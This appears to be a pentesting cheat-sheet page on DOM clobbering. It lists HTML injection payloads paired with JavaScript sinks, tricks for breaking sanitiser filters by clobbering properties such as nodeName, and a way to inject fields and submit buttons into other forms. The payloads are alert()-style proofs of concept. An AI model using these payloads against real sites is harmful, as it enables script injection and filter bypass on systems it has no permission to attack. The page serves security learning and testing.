Web_Hacking/Dom Clobbering.md
2023-09-08 15:44:38 +03:30

3.9 KiB

Dom Clobbering

DOM Clobbering is a technique where global variables can be overwritten or "clobbered" by naming HTML elements with certain IDs or names. This can cause unexpected behavior in scripts and potentially lead to security vulnerabilities.

Basic

It's possible to generate global variables inside the JS context with the attributes id and name in HTML tags.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Only certain elements can use the name attribute to clobber globals, they are:

  • embed
  • form
  • iframe
  • image
  • img
  • object

Exploit

Exploitation requires any kind of HTML injection in the page.

  • Clobbering x.y.value
// Payload
<form id=x><output id=y>I've been clobbered</output>

// Sink
<script>alert(x.y.value);</script>
  • Clobbering x.y using ID and name attributes together to form a DOM collection
// Payload
<a id=x><a id=x name=y href="Clobbered">

// Sink
<script>alert(x.y)</script>
  • Clobbering x.y.z - 3 levels deep
// Payload
<form id=x name=y><input id=z></form>
<form id=x></form>

// Sink
<script>alert(x.y.z)</script>
  • Clobbering a.b.c.d - more than 3 levels
// Payload
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>

// Sink
<script>alert(a.b.c.d)</script>
  • Clobbering forEach (Chrome only)
// Payload
<form id=x>
<input id=y name=z>
<input id=y>
</form>

// Sink
<script>x.y.forEach(element=>alert(element))</script>
  • Clobbering document.getElementById() using <html> or <body> tag with the same id attribute
// Payloads
<html id="cdnDomain">clobbered</html>
<svg><body id=cdnDomain>clobbered</body></svg>


// Sink 
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
  • Clobbering x.username
// Payload
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">

// Sink
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
  • Clobbering (Firefox only)
// Payload
<base href=a:abc><a id=x href="Firefox<>">

// Sink
<script>
alert(x)//Firefox<>
</script>
  • Clobbering (Chrome only)
// Payload
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>

// Sink
<script>
alert(x.xyz)//a://Clobbered<>
</script>

Filter Bypassing

If a filter is looping through the properties of a node using something like document.getElementByID('x').attributes you could clobber the attribute .attributes and break the filter. Other DOM properties like tagName, nodeName or parentNode and more are also clobberable.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering Forms

It's possible to add new entries inside a form just by specifying the form attribute inside some tags. You can use this to add new values inside a form and to even add a new button to send it (clickjacking or abusing some .click() JS code):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
  • For more form attributes in W3S

Tools

  • DOM Invader is preinstalled in Burp's browser, but is disabled by default as some of its features may interfere with your other testing activities.